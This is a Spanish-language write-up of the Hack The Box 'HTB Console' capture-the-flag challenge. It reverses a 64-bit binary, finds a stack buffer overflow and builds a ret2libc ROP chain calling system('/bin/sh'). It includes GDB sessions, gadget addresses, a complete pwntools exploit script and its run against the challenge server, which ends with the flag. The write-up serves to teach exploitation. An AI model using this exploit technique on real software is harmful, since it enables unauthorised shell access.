HTB Console
5 minutos de lectura
Se nos proporciona un binario de 64 bits llamado htb-console
:
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
Ingeniería inversa
Si usamos Ghidra, veremos la siguiente función main
:
void main() {
char command[16];
setup();
puts("Welcome HTB Console Version 0.1 Beta.");
do {
printf(">> ");
fgets(command, 16, stdin);
console(command);
memset(command, 0, 16);
} while(true);
}
El código anterior solamente pide datos al usuario y los pasa a console
:
void console(char *command) {
int res;
char flag[16];
res = strcmp(command, "id\n");
if (res == 0) {
puts("guest(1337) guest(1337) HTB(31337)");
} else {
res = strcmp(command, "dir\n");
if (res == 0) {
puts("/home/HTB");
} else {
res = strcmp(command, "flag\n");
if (res == 0) {
printf("Enter flag: ");
fgets(flag, 48, stdin);
puts("Whoops, wrong flag!");
} else {
res = strcmp(command, "hof\n");
if (res == 0) {
puts("Register yourself for HTB Hall of Fame!");
printf("Enter your name: ");
fgets(name, 10, stdin);
puts("See you on HoF soon! :)");
} else {
res = strcmp(command, "ls\n");
if (res == 0) {
puts("- Boxes");
puts("- Challenges");
puts("- Endgames");
puts("- Fortress");
puts("- Battlegrounds");
} else {
res = strcmp(command, "date\n");
if (res == 0) {
system("date");
} else {
puts("Unrecognized command.");
}
}
}
}
}
}
}
Vulnerabilidad de Buffer Overflow
Existe una vulnerabilidad de Buffer Overflow en el código anterior, ya que flag
es una cadena de caracteres de 16 bytes, pero usando el comando flag
podemos introducirhasta 48 bytes, causando un desbordamiento y sobrescribieido valores de la pila (stack).
Esto es un problema de seguridad porque la pila almacena datos usados por el programa para seguir el flujo de ejecución. Por ejemplo, podemos encontrar la dirección de retorno al main
para regresar cuando se termina la función console
.
Con una vulnerabilidad de Buffer Overflow, podremos modificar esa dirección de retorno y controlar la ejecución del programa. Vamos a usar GDB para encontrar la cantidad de datos necesarios para conseguir esto (este valor se conoce como offset):
$ gdb -q htb-console
Reading symbols from htb-console...
(No debugging symbols found in htb-console)
gef➤ pattern create 100
[+] Generating a pattern of 100 bytes (n=8)
aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaa
[+] Saved as '$_gef0'
gef➤ run
Starting program: ./htb-console
Welcome HTB Console Version 0.1 Beta.
>> flag
Enter flag: aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaa
Whoops, wrong flag!
Program received signal SIGSEGV, Segmentation fault.
0x0000000000401396 in ?? ()
gef➤ pattern offset $rsp
[+] Searching for '$rsp'
[+] Found at offset 24 (little-endian search) likely
[+] Found at offset 17 (big-endian search)
Obviamente, obtenemos una violación de segmento (segmentation fault), pero descubrimos que necesitamos exactamente 24 bytes para alcanzar la posición de la dirección de retorno guardada en la pila.
Ataque ret2libc
El siguiente paso para explotar el binario es encontrar una dirección buena a la que retornar. Como NX está habilitado, tenemos que usar Return Oriented Programming (ROP) para ejecutar código arbitrario. La técnica se conoce como ret2libc, y el objetivo es ejecutar system("/bin/sh")
.
Por suerte, system
es una función que ya está enlazada en el binario, ya que se usa en el comando date
, por lo que podemos llamarla directamente usando la Tabla de Enlaces a Procedimientos (PLT, Procedure Linkage Table). Además, como PIE está deshabilitado, la dirección de system
en la PLT será fija (0x401040
):
$ objdump -M intel -d htb-console | grep system
0000000000401040 <system@plt>:
401381: e8 ba fc ff ff call 401040 <system@plt>
Ahora tenemos que cargar la cadena "/bin/sh"
como primer argumento a system
. En programas x86_64, el registro $rdi
se usa para guardar el primer argumento. Para poder configurar este registro con el valor que queremos, usaremos un gadget pop rdi; ret
. Un gadget es simplemente un conjunto de instrucciones que termina en ret
. Esto es útil en Return Oriented Programming porque la pila se llenará de direcciones de gadgets que se van ejecutando de forma consecutiva debido a que ret
retorna a la siguiente dirección guardada en la pila (de ahí que los payloads se suelan llamar cadenas ROP o ROP chains en inglés).
Podemos usar ROPgadget
para encontrar este gadget. De nuevo, como PIE está deshabilitado, esta dirección es fija (0x401473
):
$ ROPgadget --binary htb-console | grep 'pop rdi ; ret'
0x0000000000401473 : pop rdi ; ret
Genial, la última pieza que falta es la dirección de "/bin/sh"
. Típicamente, uno usaría Glibc para encontrar esta cadena. Esta vez, abusaremos de una funcionalidad del programa. Existe una variable global llamada name
donde podemos guardar datos (comando hof
). Como es una variable global y PIE está deshabilitado, su dirección es fija:
gef➤ run
Starting program: ./htb-console
Welcome HTB Console Version 0.1 Beta.
>> hof
Register yourself for HTB Hall of Fame!
Enter your name: asdf
See you on HoF soon! :)
>> ^C
Program received signal SIGINT, Interrupt.
0x00007ffff7ecafd2 in __GI___libc_read (fd=0x0, buf=0x7ffff7fa9a03 <_IO_2_1_stdin_+131>, nbytes=0x1) at ../sysdeps/unix/sysv/linux/read.c:26
26 ../sysdeps/unix/sysv/linux/read.c: No such file or directory.
gef➤ grep asdf
[+] Searching 'asdf' in memory
[+] In './htb-console'(0x404000-0x405000), permission=rw-
0x4040b0 - 0x4040b6 → "asdf\n"
Entonces usaremos la dirección 0x4040b0
para almacenar "/bin/sh"
.
Exploit final
Resumiendo, esta será la cadena ROP:
def main():
p = get_process()
pop_rdi_ret_addr = 0x401473
name_addr = 0x4040b0
system_call_addr = 0x401381
offset = 24
junk = b'A' * offset
payload = junk
payload += p64(pop_rdi_ret_addr)
payload += p64(name_addr)
payload += p64(system_call_addr)
p.sendlineafter(b'>> ', b'hof')
p.sendlineafter(b'Enter your name: ', b'/bin/sh\0')
p.sendlineafter(b'>> ', b'flag')
p.sendlineafter(b'Enter flag: ', payload)
p.recv()
p.interactive()
Si lo ejecutamos en local, tenemos una shell:
$ python3 solve.py
[*] './htb-console'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
[+] Starting local process './htb-console': pid 2748889
[*] Switching to interactive mode
$ ls
htb-console solve.py
Flag
Vamos a probar en remoto:
$ python3 solve.py 167.99.90.155:30955
[*] './htb-console'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
[+] Opening connection to 167.99.90.155 on port 30955: Done
[*] Switching to interactive mode
$ ls
console
flag.txt
$ cat flag.txt
HTB{fl@g_a$_a_s3rv1c3?}
El exploit completo se puede encontrar aquí: solve.py
.